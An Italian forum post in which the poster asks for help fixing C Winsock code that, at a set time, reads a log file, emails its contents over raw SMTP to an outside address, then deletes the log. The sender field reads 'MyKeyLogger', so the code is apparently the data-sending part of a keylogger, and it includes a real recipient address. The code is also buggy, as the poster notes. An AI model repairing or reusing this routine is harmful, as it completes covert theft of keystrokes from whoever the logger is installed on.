Salve, sto cercando di mandare automaticamente ad una certa ora un email al mio indirizzo in cui dentro ci sia scritto il contenuto di un file.
Il problema è che non riesco a farla inviare al winsock e non capisco quale sia il problema.
codice:
void Timer(){
char timer[9];
_strtime( timer );
if(timer[0]=='1'&&timer[1]=='0'&&timer[2]==':'&&timer[3]=='4'&&timer[4]=='6'&&timer[5]==':'&&timer[6]=='0'&&timer[7]=='0')
SpedisciEmail();
}
void SpedisciEmail(){
WSADATA data;
WORD p;
LPHOSTENT HostName;
char *IPHost;
char stringa[100000];
struct sockaddr_in sock_addr;
p=MAKEWORD(2,0);
WSAStartup(p,&data);
char helo[20]="helo libero";
char mailfrom[30]="MAIL FROM:<MyKeyLogger>";
char rcpt[35]="RCPT TO:<webmaster@scopinich.it>";
char datas[6]="data";
char point[4]="\n.";
char end[5]="quit";
HostName = gethostbyname(HOST);
FileLogs=fopen(FileProva,"r");
sock=socket(PF_INET, SOCK_STREAM,0);
sock_addr.sin_family=PF_INET;
sock_addr.sin_port=htons(25);
sock_addr.sin_addr = *((LPIN_ADDR)*HostName->h_addr_list);
connect(sock,(struct sockaddr*)&sock_addr,sizeof(struct sockaddr));
RispostaServer();
send(sock, helo, strlen(helo), 0);
RispostaServer();
send(sock, mailfrom, strlen(mailfrom), 0);
RispostaServer();
send(sock, rcpt, strlen(rcpt), 0);
RispostaServer();
send(sock, datas, strlen(datas), 0);
RispostaServer();
for(long int i=0;i<100000;i++)
fscanf(FileLogs,"%c",&stringa[i]);
fclose(FileLogs);
send (sock,"\nstringa\n.",11,0);
RispostaServer();
send(sock,point,strlen(point),0);
RispostaServer();
send(sock,end,strlen(end),0);
RispostaServer();
system("del log.txt");
closesocket(sock);
WSACleanup();
}
void RispostaServer(){
char mess[1000];
int n=0;
n=recv(sock,mess,200,0);
mess[n]=0;
printf(mess,"%s");
}
Spero che voi programmatori esperti possiate aiutarmi
Ciao ;-)